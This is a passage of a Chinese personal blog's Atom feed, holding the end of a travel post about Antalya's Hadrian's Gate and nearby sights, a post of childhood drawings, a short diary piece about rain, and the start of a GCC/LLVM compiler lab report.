        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123355.b2e54043eb79d83e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123355.1b5d0b6d44c23137.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123355.f581fed10825c011.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123355.1b5d0b6d44c23137.webp&quot;
	alt=&quot;中殿&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;一些残存的壁画和装饰：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_123315.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123315.57b9a9ba9e8262b7.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123315.ee304ae8de619ebc.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123315.af9b2d67bd672fb8.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123315.ee304ae8de619ebc.webp&quot;
	alt=&quot;人像壁画&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_123602.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123602.999e9a78b6786cb6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123602.ec61ae1213ea9a47.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123602.0af81dd662172e57.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123602.ec61ae1213ea9a47.webp&quot;
	alt=&quot;穹顶壁画&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_123452.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123452.756868f65f81925d.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123452.3de6712a9e8c0bba.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123452.9916212061284bac.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123452.3de6712a9e8c0bba.webp&quot;
	alt=&quot;柱子上的十字架&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_123541.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123541.fea95473e7095f00.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123541.4dde088ebbfc1985.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123541.c0a3a0e268b9681f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123541.4dde088ebbfc1985.webp&quot;
	alt=&quot;梅花壁画&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;Antalya&quot;&gt;Antalya&lt;&#x2F;h2&gt;
&lt;p&gt;安塔利亚和吉林相似：同时是省和省会城市的名字。到了安塔利亚距离起飞仍有一段时间，我们去参观了当地的哈德良门。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Hadrian’s_Gate&quot;&gt;Hadrian’s Gate&lt;&#x2F;h3&gt;
&lt;p&gt;哈德良是当时最有能力的将军，但在被东部军团拥立为元首后，做出了一个违背祖宗的决定：停止罗马武力扩张。这个决定对军队有沉重打击，因为战争是士兵们晋升的重要途经。另外在二世纪时交通并不方便，各个行省的城市其实相当独立。为了视察军队与地方城市是否仍忠于自己，以及用礼物、特权保持他们的忠诚，哈德良走遍了罗马帝国各个角落。&lt;&#x2F;p&gt;
&lt;p&gt;在哈德良到访某座城市后，该城市会建立有以他命名的纪念建筑——比如下图的拱门。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;doi.org&#x2F;10.1163&#x2F;9789004401631_033&quot;&gt;他在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;129&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年从安塔利亚西边的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Patara&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;走到了东边的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Antioch，130&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年又南下走到了巴勒斯坦和埃及&lt;&#x2F;a&gt;。所以他造访安塔利亚的年份应该是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;129，而不是网上说的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;130&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_152753.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152753.a6364cdf195778b2.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152753.20b319dfcbad2013.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152753.cfb803a4533e2540.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152753.20b319dfcbad2013.webp&quot;
	alt=&quot;大门正面&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;安塔利亚的哈德良门有两处铭文，分别是希腊字母和阿拉伯字母。刻有希腊文的那面墙站满了鸽子，因为附近有人卖鸽粮。另一面墙的阿拉伯字母，应该是凯末尔文字改革前的土耳其语。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_152001.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152001.255dae0c9823cd38.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152001.30f894cc1163db54.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152001.7146bc9d0cdc799d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152001.30f894cc1163db54.webp&quot;
	alt=&quot;希腊语铭文与鸽子&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_152126.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152126.2617d1209c03a395.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152126.d6631858dd53208d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152126.acbd3906a11c9fcb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_152126.d6631858dd53208d.webp&quot;
	alt=&quot;阿拉伯字母土耳其语铭文&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h3 id=&quot;钟楼和阿塔罗斯二世雕像&quot;&gt;钟楼和阿塔罗斯二世雕像&lt;&#x2F;h3&gt;
&lt;p&gt;哈德良门不远有一座声称建于罗马时期的钟楼（钟楼的功能是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1900&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年代新增的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，可惜走到那里了才发现在维修，很失望。听说&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.hurriyetdailynews.com&#x2F;antalya-clock-towers-original-clock-stolen-plastic-one-placed-officials-174397&quot;&gt;原本的钟被偷了&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;钟楼旁边的广场上有阿塔罗斯二世的雕像。他是帕加马的国王、安塔利亚城的建立者。前文提到的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.changhai.org&#x2F;articles&#x2F;science&#x2F;worldline&#x2F;ApolloniusConics.php&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;圆锥曲线论》中某几卷序言可能是写给他的父亲阿塔罗斯一世的&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_155419.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_155419.06b792e215817d5e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_155419.a8a0f9c2f419e184.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_155419.41d4456394b1fddb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_155419.a8a0f9c2f419e184.webp&quot;
	alt=&quot;维修中的钟楼&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_160941.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_160941.d98b958b4ef18691.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_160941.7c135cffaa97b5bb.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_160941.733a0ac868a1f67d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_160941.7c135cffaa97b5bb.webp&quot;
	alt=&quot;阿塔罗斯二世的雕像&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;看完阿塔罗斯二世，我们就去机场准备飞往&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-istanbul&#x2F;&quot;&gt;伊斯坦布尔&lt;&#x2F;a&gt;了。我觉得伊斯坦布尔比安塔利亚周边差很多，可能因为我不信教，也不精罗，更对欧亚大陆地理分界不感兴趣吧。&lt;&#x2F;p&gt;
&lt;p&gt;去安塔利亚的飞机上坐我旁边的是一对苏格兰夫妇。他们一共去安塔利亚五次了，说那里是最好的度假区。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;turkey-2022-antalya
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;turkey-2022-antalya&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>旧画</title>
    <published>2020-06-28T20:17:41+08:00</published>
    <updated>2020-06-28T20:17:41+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/old-painting/" type="text/html" />
    <id>https://emptystack.top/old-painting/</id>
    <content type="html">
      &lt;p&gt;找到一些小时候的画（具体年份已忘记，只有碳十四测定能告诉我们了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，在这里放出几张，剩下的已经被中国美术馆、卢浮宫买走了，预计&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2222&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年我&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;22&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;岁时展出。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;walking-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;walking-optim.jpg&quot;
	alt=&quot;walking&quot;
	height=&quot;699&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;classroom-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;classroom-optim.jpg&quot;
	alt=&quot;classromm&quot;
	height=&quot;724&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;flower-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;flower-optim.jpg&quot;
	alt=&quot;flower&quot;
	height=&quot;1024&quot;
	width=&quot;751&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;head-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;head-optim.jpg&quot;
	alt=&quot;head&quot;
	height=&quot;1024&quot;
	width=&quot;699&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;temple-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;temple-optim.jpg&quot;
	alt=&quot;temple&quot;
	height=&quot;745&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;



      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;old-painting
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;old-painting&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>银山上的男人</title>
    <published>2020-04-16T19:02:05+08:00</published>
    <updated>2020-04-16T19:02:05+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/man-on-the-silver-mountain/" type="text/html" />
    <id>https://emptystack.top/man-on-the-silver-mountain/</id>
    <content type="html">
      &lt;div style=&quot;display:flex;justify-content:center&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;motsm.gif&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;motsm.gif&quot;
	alt=&quot;motsm.gif&quot;
	height=&quot;240&quot;
	width=&quot;320&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p style=&quot;text-align:center;text-indent:0&quot;&gt;
&lt;p&gt;人、太阳、车轮三位一体，所以不能同时出现在银山上。&lt;&#x2F;p&gt;
&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;man-on-the-silver-mountain
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;man-on-the-silver-mountain&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>雨</title>
    <published>2020-04-15T16:23:31+01:00</published>
    <updated>2023-04-19T22:06:53+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/rain/" type="text/html" />
    <id>https://emptystack.top/rain/</id>
    <content type="html">
      &lt;p&gt;下雨了，天气预报说有雨，但吃完晚饭都没下。坐在笔记本电脑前断断续续总算听完了上午&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;9:50&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的计网有声&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ppt（这学期所有人都讨厌计网老师讲课过——长，且大部分是“啊&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;相对的对应的&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;嗯”和意义不明的停顿&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。无聊刷了半天已无营养的互联网，窗外这才响起了许久不闻的雨声。&lt;&#x2F;p&gt;
&lt;p&gt;很多人把雨声归类为“白噪音&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，喜欢听它入眠。雨声也确有安抚的效果。每天穿梭于电脑饭桌之间，窗外也只有上世纪网页版的无聊景色。现实生活没有什么刺激，精神世界也没有宽广到能容下一整天的畅游。不想听冗长的课写莫名其妙又多如牛毛的作业。忙里偷闲时才显得缤纷的网路世界对整天趴在电脑前的我也只是另一个地狱。&lt;&#x2F;p&gt;
&lt;p&gt;这时候，下雨了。身边所有的空气都传递着讲不出为什么但就是让人心安的“噪声&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，伴随着震动，皮肤也感觉到了雨天特有的湿冷感，像是整个身体在泡不用擦干的澡。&lt;&#x2F;p&gt;
&lt;p&gt;也像是悬浮在与世隔绝的泡泡里。&lt;&#x2F;p&gt;
&lt;p&gt;不过我还是对这场雨抱有一个不太可能实现的奢望：我希望它们全都下到我的眼眶里，湿润干瘪的眼球。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;rain
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;rain&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>编译器认知实验</title>
    <published>2020-03-06T15:55:49+08:00</published>
    <updated>2023-06-20T23:16:19+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/notes-on-gcc-llvm/" type="text/html" />
    <id>https://emptystack.top/notes-on-gcc-llvm/</id>
    <content type="html">
      &lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;notes-on-gcc-llvm&#x2F;#实验目的和内容&quot;&gt;实验目的和内容&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;notes-on-gcc-llvm&#x2F;#实现的具体过程和步骤&quot;&gt;实现的具体过程和步骤&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;notes-on-gcc-llvm&#x2F;#GCC_运行结果分析&quot;&gt;GCC 运行结果分析&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;notes-on-gcc-llvm&#x2F;#LLVM运行结果分析&quot;&gt;LLVM运行结果分析&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;notes-on-gcc-llvm&#x2F;#GCC与LLVM对比分析&quot;&gt;GCC与LLVM对比分析&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;notes-on-gcc-llvm&#x2F;#实验心得体会&quot;&gt;实验心得体会&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;实验目的和内容&quot;&gt;实验目的和内容&lt;&#x2F;h2&gt;
&lt;p&gt;本实验的目的是了解工业界常用的编译器&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LLVM，熟悉编译器的安装和使用过程，观察编译器工作过程中生成的中间文件的格式和内容，了解编译器的优化效果，为编译器的学习和构造奠定基础。&lt;&#x2F;p&gt;
